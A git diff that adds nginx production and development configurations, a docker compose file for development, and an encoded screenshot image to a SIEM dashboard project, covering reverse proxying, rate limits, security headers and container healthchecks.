keepalive 32; + keepalive_requests 1000; + keepalive_timeout 60s; + } + + upstream frontend_dev { + server frontend:5173; + keepalive 8; + } + + limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s; + limit_req_zone $binary_remote_addr zone=auth_limit:10m rate=3r/s; + limit_conn_zone $binary_remote_addr zone=conn_limit:10m; + limit_req_status 429; + + log_format main_timed '$remote_addr - $remote_user [$time_local] ' + '"$request" $status $body_bytes_sent ' + '"$http_referer" "$http_user_agent" ' + 'rt=$request_time uct="$upstream_connect_time" ' + 'uht="$upstream_header_time" urt="$upstream_response_time"'; + + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + server_tokens off; + + client_body_buffer_size 128k; + client_header_buffer_size 16k; + client_max_body_size 10m; + large_client_header_buffers 4 16k; + + client_body_timeout 12s; + client_header_timeout 12s; + send_timeout 10s; + + gzip on; + gzip_vary on; + gzip_proxied any; + gzip_comp_level 6; + gzip_min_length 256; + gzip_types + text/plain + text/css + text/xml + text/javascript + application/json + application/javascript + application/xml+rss + application/atom+xml + image/svg+xml; + gzip_disable "msie6"; + + include /etc/nginx/conf.d/*.conf; +} diff --git a/PROJECTS/intermediate/siem-dashboard/conf/nginx/nginx.prod.conf b/PROJECTS/intermediate/siem-dashboard/conf/nginx/nginx.prod.conf new file mode 100644 index 00000000..d0b80874 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/conf/nginx/nginx.prod.conf @@ -0,0 +1,72 @@ +# ©AngelaMos | 2026 +# nginx.prod.conf + +worker_processes auto; +worker_rlimit_nofile 65535; + +error_log /var/log/nginx/error.log warn; +pid /var/run/nginx.pid; + +events { + worker_connections 4096; + multi_accept on; + use epoll; +} + +http { + include /etc/nginx/mime.types; + default_type application/octet-stream; + + upstream backend { + server backend:5000 max_fails=3 fail_timeout=30s; + keepalive 32; + keepalive_requests 1000; + keepalive_timeout 60s; + } + + limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s; + limit_req_zone $binary_remote_addr zone=auth_limit:10m rate=3r/s; + limit_conn_zone $binary_remote_addr zone=conn_limit:10m; + limit_req_status 429; + + log_format main_timed '$remote_addr - $remote_user [$time_local] ' + '"$request" $status $body_bytes_sent ' + '"$http_referer" "$http_user_agent" ' + 'rt=$request_time uct="$upstream_connect_time" ' + 'uht="$upstream_header_time" urt="$upstream_response_time"'; + + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + server_tokens off; + + client_body_buffer_size 128k; + client_header_buffer_size 16k; + client_max_body_size 10m; + large_client_header_buffers 4 16k; + + client_body_timeout 12s; + client_header_timeout 12s; + send_timeout 10s; + + gzip on; + gzip_vary on; + gzip_proxied any; + gzip_comp_level 6; + gzip_min_length 256; + gzip_types + text/plain + text/css + text/xml + text/javascript + application/json + application/javascript + application/xml+rss + application/atom+xml + image/svg+xml; + gzip_disable "msie6"; + + include /etc/nginx/conf.d/*.conf; +} diff --git a/PROJECTS/intermediate/siem-dashboard/conf/nginx/prod.nginx b/PROJECTS/intermediate/siem-dashboard/conf/nginx/prod.nginx new file mode 100644 index 00000000..72eec3e0 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/conf/nginx/prod.nginx @@ -0,0 +1,88 @@ +# ©AngelaMos | 2026 +# prod.nginx + +server { + listen 80; + listen [::]:80; + server_name _; + + root /usr/share/nginx/html; + index index.html; + + access_log /var/log/nginx/access.log main_timed buffer=32k flush=5s; + error_log /var/log/nginx/error.log warn; + + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-Content-Type-Options "nosniff" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always; + + location /health { + access_log off; + return 200 "1"; + add_header Content-Type text/plain; + } + + location ~ ^/api(/v1/(logs|alerts)/stream.*) { + rewrite ^/api(/.*)$ $1 break; + proxy_pass http://backend; + proxy_http_version 1.1; + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_buffering off; + proxy_cache off; + proxy_read_timeout 3600s; + proxy_send_timeout 3600s; + chunked_transfer_encoding off; + } + + location /api/ { + limit_req zone=api_limit burst=20 nodelay; + limit_conn conn_limit 50; + + proxy_pass http://backend/; + proxy_http_version 1.1; + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_buffering on; + proxy_buffers 8 32k; + proxy_buffer_size 4k; + + proxy_connect_timeout 60s; + proxy_send_timeout 30s; + proxy_read_timeout 30s; + } + + location /assets/ { + expires 1y; + add_header Cache-Control "public, immutable"; + access_log off; + try_files $uri =404; + } + + location ~* \.(jpg|jpeg|png|gif|ico|svg|webp|avif|woff|woff2|ttf|eot|otf)$ { + expires 1y; + add_header Cache-Control "public, immutable"; + access_log off; + } + + location / { + add_header Cache-Control "no-cache, must-revalidate"; + try_files $uri $uri/ /index.html; + } + + location ~ /\. { + deny all; + access_log off; + log_not_found off; + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/dev.compose.yml b/PROJECTS/intermediate/siem-dashboard/dev.compose.yml new file mode 100644 index 00000000..cc603328 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/dev.compose.yml @@ -0,0 +1,119 @@ +# ©AngelaMos | 2026 +# dev.compose.yml + +name: ${APP_NAME:-siem}-dev + +services: + nginx: + image: nginx:1.27-alpine + container_name: ${APP_NAME:-siem}-nginx-dev + ports: + - "${NGINX_HOST_PORT:-8431}:80" + volumes: + - ./conf/nginx/nginx.conf:/etc/nginx/nginx.conf:ro + - ./conf/nginx/dev.nginx:/etc/nginx/conf.d/default.conf:ro + depends_on: + backend: + condition: service_healthy + frontend: + condition: service_started + networks: + - frontend + - backend + restart: unless-stopped + + backend: + build: + context: . + dockerfile: conf/docker/dev/flask.docker + container_name: ${APP_NAME:-siem}-backend-dev + ports: + - "${BACKEND_HOST_PORT:-5113}:5000" + volumes: + - ./backend:/app + env_file: + - .env + environment: + - FLASK_APP=wsgi:app + - FLASK_DEBUG=1 + - MONGO_URI=mongodb://mongo:27017/${MONGO_DB:-siem} + - REDIS_URL=redis://redis:6379/0 + depends_on: + mongo: + condition: service_healthy + redis: + condition: service_healthy + networks: + - backend + healthcheck: + test: ["CMD", "curl", "-sf", "http://localhost:5000/health"] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + restart: unless-stopped + + frontend: + build: + context: . + dockerfile: conf/docker/dev/vite.docker + container_name: ${APP_NAME:-siem}-frontend-dev + ports: + - "${FRONTEND_HOST_PORT:-3959}:5173" + volumes: + - ./frontend:/app + environment: + - VITE_API_URL=${VITE_API_URL:-/api} + networks: + - frontend + restart: unless-stopped + + mongo: + image: mongo:8.0 + container_name: ${APP_NAME:-siem}-mongo-dev + ports: + - "${MONGO_HOST_PORT:-8654}:27017" + volumes: + - mongo_data:/data/db + networks: + - backend + healthcheck: + test: ["CMD", "mongosh", "--eval", "db.adminCommand('ping')"] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + restart: unless-stopped + + redis: + image: redis:7-alpine + container_name: ${APP_NAME:-siem}-redis-dev + ports: + - "${REDIS_HOST_PORT:-6266}:6379" + volumes: + - redis_data:/data + command: redis-server --appendonly yes + networks: + - backend + healthcheck: + test: ["CMD", "redis-cli", "ping"] + interval: 10s + timeout: 5s + retries: 5 + restart: unless-stopped + +networks: + frontend: + driver: bridge + ipam: + config: + - subnet: 10.201.71.0/24 + backend: + driver: bridge + ipam: + config: + - subnet: 10.201.72.0/24 + +volumes: + mongo_data: + redis_data: diff --git a/PROJECTS/intermediate/siem-dashboard/docs/images/alerts.png b/PROJECTS/intermediate/siem-dashboard/docs/images/alerts.png new file mode 100644 index 0000000000000000000000000000000000000000..c3372d613484112bc95abbe2d8a2191ff018bffc GIT binary patch literal 87170 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 +O@#9~at|In=dk#l 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 